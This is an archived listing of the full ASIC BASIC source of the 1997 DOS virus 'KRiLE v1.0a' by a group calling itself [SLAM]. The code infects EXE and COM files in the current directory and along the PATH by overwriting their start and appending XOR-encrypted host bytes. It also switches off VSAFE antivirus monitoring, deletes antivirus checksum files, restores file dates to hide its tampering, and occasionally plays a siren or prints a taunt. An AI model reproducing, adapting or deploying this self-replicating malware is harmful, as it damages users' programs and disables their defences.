home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / KRILE1A.ZIP / SOURCE.ZIP / KRILE.ASI < prev    next >
Text File  |  1997-11-28  |  11KB  |  509 lines

  1. rem KRiLE v1.0a written by RAiD for [SLAM]
  2. rem This is a specialized version which does not
  3. rem have internally encrypted text, And randomly chooses how many files
  4. rem to infect per run, Which should result in quicker access time.
  5. rem This version takes advantage of TinyProg v3.6 to encrypt it.
  6. rem Use tinyprog.exe /Mb "D" krile.exe to achieve best size.
  7. rem This version of KRiLE doesn't use arrays as large as the virus
  8. rem size because I discovered, asic arrays are 2 bytes  apiece per
  9. rem element! and 4 bytes apiece for extended arrays. :)
  10. dim virus_data(2296)
  11. dim host_data(2296)
  12. call sub"Criterror!"
  13. randomize
  14. virus_size=4592
  15. virus_size&=4592&
  16. virus_sig$="1234"
  17. exe$="*.exe"
  18. com$="*.com"
  19. killfil1$="anti-vir.dat"
  20. killfil2$="chklist.ms"
  21. killfil3$="chklist.cps"
  22. krsig1$="■KRiLE■ v1.0a - Thought you had me eh? :-> coded by RAiD UsA [SLAM]97"
  23. notouch$="Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw"
  24. vsafe_stats=0
  25. gosub vsafe_toggle:
  26. vsafe_stats=cx
  27.  
  28. call sub "exename" hostname$
  29. yourparm$=command$
  30. yourparm$=ltrim$(yourparm$)
  31. yourparm$=rtrim$(yourparm$)
  32. yourparm$=" "+yourparm$
  33.  
  34. gosub chksum_die:
  35. filename$=hostname$
  36. hostsize&=filelen(filename$)
  37. gosub get_attr:
  38. oldattr=newattr
  39. newattr=0
  40. gosub set_attr:
  41. gosub open_file:
  42. bytesize=virus_size
  43. dx=varptr(virus_data(0))
  44. gosub read_file:
  45. gosub close_file:
  46. newattr=oldattr
  47. gosub set_attr:
  48.  
  49. rem Ok, we have an image loaded, let's scan the current directory
  50. rem for use-able hosts. We also deal with any checksum files during
  51. rem this scan.
  52. gosub cur_dir:
  53.  
  54.  
  55. rem Ok, now were going to target files along the path :)
  56.      for n=0 to 100
  57.           call sub "path", n, virupath$
  58.           i=LEN(virupath$)
  59.           if i=0 then done:
  60.           b$=right$(virupath$,1)
  61.         if b$<>"\" then
  62.         virupath$=virupath$+"\"
  63.         endif
  64.         rem Before we infect, trash checksum files
  65.         gosub chksum_die:
  66.         proc$=virupath$+exe$
  67.         gosub start_virus:
  68.         proc$=virupath$+com$
  69.         gosub start_virus:
  70.         next n
  71.  
  72.  
  73.  
  74. done:
  75. filename$=hostname$
  76. hostsize&=filelen(filename$)
  77. gosub get_attr:
  78. oldattr=newattr
  79. newattr=0
  80. gosub set_attr:
  81. gosub open_file:
  82. gosub get_fdt:
  83. hosttemp&=hostsize&-virus_size&
  84. move_way&=hosttemp&
  85. gosub move_file_pointer:
  86. bytesize=virus_size
  87. dx=varptr(host_data(0))
  88. gosub read_file:
  89. move_way&=0&
  90. gosub move_file_pointer:
  91. gosub cypher_host:
  92. dx=varptr(host_data(0))
  93. bytesize=virus_size
  94. gosub write_file:
  95. gosub set_fdt:
  96. gosub close_file:
  97. gosub strip_garbage:
  98. newattr=oldattr
  99. gosub set_attr:
  100.  
  101. rem Ok, siren anyone?
  102. rem a value of 256 ensures the siren is rare, which means this
  103. rem virus won't be detected right off the bat. No sense calling
  104. rem attention to ourselves too soon. :)
  105. range=256
  106. gosub rand_num:
  107. if a=19 then
  108. gosub siren:
  109. endif
  110.  
  111. call hostname$, yourparm$
  112.  
  113. r=vsafe_stats
  114. vsafe_stats=0
  115. gosub vsafe_toggle:
  116. vsafe_stats=r
  117. filename$=hostname$
  118.  
  119.  
  120. rem Let's make sure we don't accidently infect the host a second
  121. rem time. Happens rarely, but a good safety precaution anyways.
  122. rem Besides, doesn't eat much more code space.
  123. gosub infect_check:
  124. if infected=0 then
  125. gosub lets_infect:
  126. endif
  127.  
  128. rem Check the current directory again, Host might have created
  129. rem some new targets. pkunzip.exe being a good example. Note: This
  130. rem allows my virus to resemble TSR based viruses somewhat. <G>
  131. gosub cur_dir:
  132.  
  133. gosub vsafe_toggle:
  134.  
  135. rem The range was already set at 256, we'll leave it
  136. rem as it is. and get us a number :)
  137. range=256
  138. gosub rand_num:
  139.  
  140. if a=19 then
  141. gosub say_hi:
  142. endif
  143.  
  144. rem The end has been reached, return to operating system or calling
  145. rem program.
  146. end
  147.  
  148. start_virus:
  149. errcode=0
  150. attr=6
  151. kewl=0
  152.  
  153. rem Setup rand-generator range to 4, and decide how many files
  154. rem were going to infect for this run :)
  155. range=4
  156. gosub rand_num:
  157. virii=a
  158.  
  159. rem Ok, decision made, let's infect!
  160.        CALL SUB "FindFirstF" proc$ Attr ErrCode
  161.        WHILE ErrCode = 0
  162.           CALL SUB "GetNameF" FileName$
  163.   filename$=virupath$+filename$
  164.   gosub infect_check:
  165. if infected=0 then
  166. gosub lets_infect:
  167. endif
  168.          CALL SUB "FindNextF" ErrCode
  169.          if kewl=virii then
  170.          errcode=1
  171.          endif
  172.    WEND
  173.  
  174. return
  175.  
  176. Lets_infect:
  177. rem Lets put our virus into the file shall we? :)
  178. hostsize&=filelen(filename$)
  179. gosub get_attr:
  180. oldattr=newattr
  181. newattr=0
  182. gosub set_attr:
  183. gosub open_file:
  184. gosub get_fdt:
  185. bytesize=virus_size
  186. dx=varptr(host_data(0))
  187. gosub read_file:
  188. move_way&=0&
  189. gosub move_file_pointer:
  190. bytesize=virus_size
  191. dx=varptr(virus_data(0))
  192. gosub write_file:
  193. move_way&=hostsize&
  194. gosub move_file_pointer:
  195. gosub cypher_host:
  196. dx=varptr(host_data(0))
  197. bytesize=virus_size
  198. gosub write_file:
  199. gosub set_fdt:
  200. kewl=kewl+1
  201. gosub close_file:
  202. newattr=oldattr
  203. gosub set_attr:
  204. return
  205.  
  206. rem miscallenous file i/o routines beyond this point. Boring to  look
  207. rem at.:)
  208.  
  209. get_attr:
  210. AX = &HEX4300
  211. DX = VARPTR(Filename$)
  212. CX = NewAttr
  213. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  214. return
  215.  
  216. set_attr:
  217. AX = &HEX4301
  218. DX = VARPTR(Filename$)
  219. CX = NewAttr
  220. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  221. return
  222.  
  223. vsafe_toggle:
  224. ax=&hexfa02
  225. dx=&hex5945
  226. bx=vsafe_stats
  227. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  228. return
  229.  
  230. get_fdt:
  231. if file_handle>4 then
  232. AX=&HEX5700
  233. BX=FILE_HANDLE
  234. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  235. NEWDATE=CX
  236. NEWTIME=DX
  237. endif
  238. RETURN
  239.  
  240. set_fdt:
  241. if file_handle>4 then
  242. AX=&HEX5701
  243. BX=FILE_HANDLE
  244. CX=NEWDATE
  245. DX=NEWTIME
  246. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  247. endif
  248. RETURN
  249.  
  250. rem DOS int file i/o driven code beyond this point :)
  251.  
  252. rem ax=&hex3d00
  253. rem ax opens file for read in this mode :-)
  254. rem ax=&hex3d01
  255. rem ax opens file for write in this mode :-)
  256. rem ax=&hex3d02
  257. rem ax opens file for read/write access :) hehehe
  258.  
  259. open_file:
  260. AX=&HEX3D02
  261. DX = VARPTR(Filename$)
  262. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  263. file_handle=ax
  264. return
  265.  
  266. write_file:
  267. rem this routine will write selected bytes at whatever current position
  268. rem from whatever buffer i choose into the file.
  269. rem if the routine did not write all data ax will not equal cx upon
  270. rem return from int call.
  271. rem define dx register before calling this routine to point to the
  272. rem memory address of the buffer area you want to write from. like so:
  273. rem dx=varptr(buffer(0))
  274. rem cx is how many bytes to write :)
  275. if file_handle>4 then
  276. ax=&hex4000
  277. bx=file_handle
  278. cx=bytesize
  279. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  280. byteswritten=ax
  281. endif
  282. return
  283.  
  284. read_file:
  285. rem as the name implies, it reads bytes into a buffer. :-)
  286. rem as with write_file, you need to predefine the dx register for the
  287. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  288. rem if you don't, this routine will not work, or will overwrite some
  289. rem other section of memory. And for virus coding, this is very bad! :)
  290. rem cx register is how many bytes to read :)
  291. if file_handle>4 then
  292. ax=&hex3f00
  293. bx=file_handle
  294. cx=bytesize
  295. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  296. bytesread=ax
  297. endif
  298. return
  299.  
  300. close_file:
  301. rem This routine will close the selected file.
  302. rem do not try to close handle 2, very nasty... :-(
  303. if file_handle>4 then
  304. ax=&hex3e00
  305. bx=file_handle
  306. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  307. endif
  308. return
  309.  
  310. move_file_pointer:
  311. rem Moves file pointer from start of file to whereever I wanna go
  312. rem Routine called is patched(hacked) from asilib.lib
  313. method=0
  314. call sub "fseek" file_handle, move_way&, method, errcode
  315. return
  316.  
  317. cypher_host:
  318. y=varptr(host_data(0))
  319. z=y+virus_size
  320. for x=y to z
  321. a=peek(x)
  322. ax=a
  323. bx=x
  324. rem Shrug, asic has no built in XOR routine, so we
  325. rem chat with the CPU ourselves to XOR it :)
  326. SETREGS (AX,BX,NA,NA,NA,NA,NA,NA,NA)
  327. CODE &HEX31, &HEXD8
  328. GETREGS (AX,NA,NA,NA,NA,NA,NA,NA,NA)
  329. rem ENd of cpu-xor chat
  330. poke x,ax
  331. next x
  332. return
  333.  
  334. infect_check:
  335. rem routine checks for files to avoid, size validation and to make
  336. rem sure the file is not already infected. If any of the routines
  337. rem return infected=1 then the rest of the file  i/o does not
  338. rem occur (saves a few miliseconds i/o time)
  339. infected=0
  340. gosub do_not_touch:
  341. if infected=0 then
  342. gosub size_check:
  343. endif
  344. if infected=0 then
  345. gosub prev_check:
  346. endif
  347. return
  348.  
  349. prev_check:
  350. rem Is this file already infected?
  351. gosub get_attr:
  352. newattr=oldattr
  353. newattr=0
  354. gosub set_attr:
  355. sig$="    "
  356. gosub open_file:
  357. move_way&=28
  358. gosub move_file_pointer:
  359. dx=varptr(sig$)
  360. bytesize=4
  361. gosub read_file:
  362. gosub close_file:
  363. newattr=oldattr
  364. gosub set_attr:
  365. if sig$=virus_sig$ then
  366. infected=1
  367. endif
  368. if file_handle<5 then
  369. rem We couldn't open the damn file to check, assume it is indeed
  370. rem infected. and let's not fool with it. :)
  371. infected=1
  372. endif
  373. return
  374.  
  375. strip_garbage:
  376. rem This routine quickly scrapes off the appended data
  377. rem we wrote during the infection process
  378. gosub open_file:
  379. move_way&=hosttemp&
  380. gosub move_file_pointer:
  381. dx=0
  382. bytesize=0
  383. gosub write_file:
  384. gosub set_fdt:
  385. gosub close_file:
  386. return
  387.  
  388. do_not_touch:
  389. rem Make sure the following files are NOT infected or
  390. rem otherwise tampered with.
  391. test$=filename$
  392. test$=ucase$(test$)
  393. test=len(test$)
  394. test=test-4
  395. test$=left$(test$,test)
  396. a$=ucase$(notouch$)
  397. b=instr(a$,test$)
  398. if b>0 then
  399. infected=1
  400. endif
  401. return
  402.  
  403. size_check:
  404. rem make sure the target file is larger then our virus
  405. rem if it's not, we must not bother to infect it.
  406. a&=filelen(filename$)
  407. if a&<virus_size& then
  408. rem file is  too small
  409. infected=1
  410. endif
  411. return
  412.  
  413. chksum_die:
  414. rem this kills chksum type files with a few simple calls
  415. rem setting toast to killfil1$ 2 and 3 respectively
  416. rem also cuts down on virus size.
  417. ar$=filename$
  418. rem above code stores original filename
  419. toast$=killfil1$
  420. gosub waste:
  421. toast$=killfil2$
  422. gosub waste:
  423. toast$=killfil3$
  424. gosub waste:
  425. filename$=ar$
  426. return
  427.  
  428. say_hi:
  429. rem say our greeting
  430. print krsig1$
  431.  
  432. rem off with the damn cursor
  433. REM turn crsr off by positioning off screen
  434. REM ASIC leaves it on for some reaosn ALL the time!
  435. AX=&HEX0200
  436. BX=0
  437. DX=25*256
  438. INT86 (&HEX10,AX,BX,NA,DX,NA,NA,NA,NA,NA)
  439.  
  440. rem pause for 5 seconds
  441. REM (5 * 18.2 clock-ticks-per-second = 91)
  442. TickOne = TIMER
  443. FOR i = 1 TO a
  444.    TickTwo = TickOne
  445.    WHILE TickTwo = TickOne
  446.        TickOne = TIMER
  447.    WEND
  448. NEXT i
  449. RETURN
  450.  
  451. siren:
  452. rem muahahaha, Siren sounds :-)
  453. siren=1
  454. gosub siren_out:
  455. siren=0
  456. gosub siren_out:
  457. siren=1
  458. gosub siren_out:
  459. siren=0
  460. gosub siren_out:
  461. return
  462.  
  463. siren_out:
  464. rem if were to go up, set siren=1 else
  465. rem set siren=0 to go down :)
  466. for x=1 to 2000
  467. if siren=1 then
  468. z=x
  469. else
  470. z=2000
  471. z=z-x
  472. endif
  473. sound z,1
  474. next x
  475. return
  476.  
  477. cur_dir:
  478. rem routine searches for and infects files in current directory
  479. rem this routine is used 2 times, so I just decided to make it a
  480. rem subroutine to save bytes.
  481. virupath$=""
  482. gosub chksum_die:
  483. proc$=exe$
  484. gosub start_virus:
  485. proc$=com$
  486. gosub start_virus:
  487. return
  488.  
  489. waste:
  490. rem routine called by chksum_die
  491. rem removes all attributes and deletes requested file.
  492. filename$=virupath$
  493. filename$=filename$+toast$
  494. newattr=0
  495. gosub set_attr:
  496. kill filename$
  497. return
  498.  
  499. rand_num:
  500. rem gets us a random number, of the selected range
  501. rem settable with the 'range' value. Saves bytes by only
  502. rem coding this part once and calling it on occasion for various
  503. rem fun things. Muahahaha
  504. a=rnd(0)
  505. a=a mod range
  506. a=a+1
  507. return
  508.  
  509.